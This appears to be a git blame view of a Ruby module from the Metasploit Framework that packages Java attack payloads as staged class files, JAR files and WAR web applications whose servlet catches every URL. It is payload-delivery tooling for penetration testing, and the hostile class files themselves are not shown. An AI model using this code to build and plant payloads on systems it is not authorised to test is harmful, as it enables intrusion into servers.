2010-08-20 07:13:35 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf::Payload::Java
|
|
|
|
|
2010-10-22 10:19:51 +00:00
|
|
|
#
|
|
|
|
# Used by stages; all java payloads need to define @class_files as an array
|
|
|
|
# of .class files located in data/java/
|
|
|
|
#
|
|
|
|
# The staging protocol expects any number of class files, each prepended
|
|
|
|
# with its length, and terminated with a 0:
|
|
|
|
# [ 32-bit big endian length ][ first raw .class file]
|
|
|
|
# ...
|
|
|
|
# [ 32-bit big endian length ][ Nth raw .class file]
|
|
|
|
# [ 32-bit null ]
|
|
|
|
#
|
2010-08-20 07:13:35 +00:00
|
|
|
def generate_stage
|
|
|
|
stage = ''
|
2010-10-22 10:19:51 +00:00
|
|
|
@stage_class_files.each do |path|
|
2010-11-02 23:10:35 +00:00
|
|
|
fd = File.open(File.join( Msf::Config.data_directory, "java", path ), "rb")
|
2010-08-20 07:13:35 +00:00
|
|
|
data = fd.read(fd.stat.size)
|
2010-11-02 23:10:35 +00:00
|
|
|
fd.close
|
2010-08-20 07:13:35 +00:00
|
|
|
stage << ([data.length].pack("N") + data)
|
|
|
|
end
|
|
|
|
stage << [0].pack("N")
|
|
|
|
|
|
|
|
stage
|
|
|
|
end
|
|
|
|
|
2010-10-22 10:19:51 +00:00
|
|
|
#
|
|
|
|
# Constructs the payload, used by stagers. Returns a jar file as a +String+
|
|
|
|
#
|
|
|
|
def generate
|
|
|
|
generate_jar.pack
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
2010-11-02 23:10:35 +00:00
|
|
|
# Returns a jar file as a +Rex::Zip::Jar+
|
2010-10-22 10:19:51 +00:00
|
|
|
#
|
|
|
|
def generate_jar
|
|
|
|
raise if not respond_to? :config
|
2010-08-20 07:13:35 +00:00
|
|
|
paths = [
|
|
|
|
[ "metasploit", "Payload.class" ],
|
2010-10-22 10:19:51 +00:00
|
|
|
] + @class_files
|
2010-08-20 07:13:35 +00:00
|
|
|
|
|
|
|
jar = Rex::Zip::Jar.new
|
2010-11-02 23:10:35 +00:00
|
|
|
#add_class_files(jar, paths)
|
|
|
|
jar.add_files(paths, File.join(Msf::Config.data_directory, "java"))
|
2010-10-22 10:19:51 +00:00
|
|
|
jar.build_manifest(:main_class => "metasploit.Payload")
|
|
|
|
jar.add_file("metasploit.dat", config)
|
|
|
|
|
|
|
|
jar
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_war(opts={})
|
2010-11-02 23:10:35 +00:00
|
|
|
zip = Rex::Zip::Jar.new
|
2010-10-22 10:19:51 +00:00
|
|
|
|
|
|
|
web_xml = %q{<?xml version="1.0"?>
|
|
|
|
<!DOCTYPE web-app PUBLIC
|
|
|
|
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
|
|
|
|
"http://java.sun.com/dtds/web-app_2_3.dtd">
|
|
|
|
<web-app>
|
|
|
|
<servlet>
|
|
|
|
<servlet-name>NAME</servlet-name>
|
|
|
|
<servlet-class>metasploit.PayloadServlet</servlet-class>
|
|
|
|
</servlet>
|
|
|
|
<servlet-mapping>
|
|
|
|
<servlet-name>NAME</servlet-name>
|
|
|
|
<url-pattern>/*</url-pattern>
|
|
|
|
</servlet-mapping>
|
|
|
|
</web-app>
|
|
|
|
}
|
2010-11-10 23:35:02 +00:00
|
|
|
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
|
2010-10-22 10:19:51 +00:00
|
|
|
|
|
|
|
web_xml.gsub!(/NAME/, app_name)
|
|
|
|
|
|
|
|
paths = [
|
|
|
|
[ "metasploit", "Payload.class" ],
|
|
|
|
[ "metasploit", "PayloadServlet.class" ],
|
|
|
|
] + @class_files
|
|
|
|
|
|
|
|
zip.add_file('WEB-INF/', '')
|
|
|
|
zip.add_file('WEB-INF/web.xml', web_xml)
|
|
|
|
zip.add_file("WEB-INF/classes/", "")
|
2010-11-02 23:10:35 +00:00
|
|
|
zip.add_files(paths, File.join(Msf::Config.data_directory, "java"), "WEB-INF/classes/")
|
2010-10-22 10:19:51 +00:00
|
|
|
zip.add_file("WEB-INF/classes/metasploit.dat", config)
|
|
|
|
|
|
|
|
zip
|
|
|
|
end
|
|
|
|
|
2010-08-20 07:13:35 +00:00
|
|
|
end
|
|
|
|
|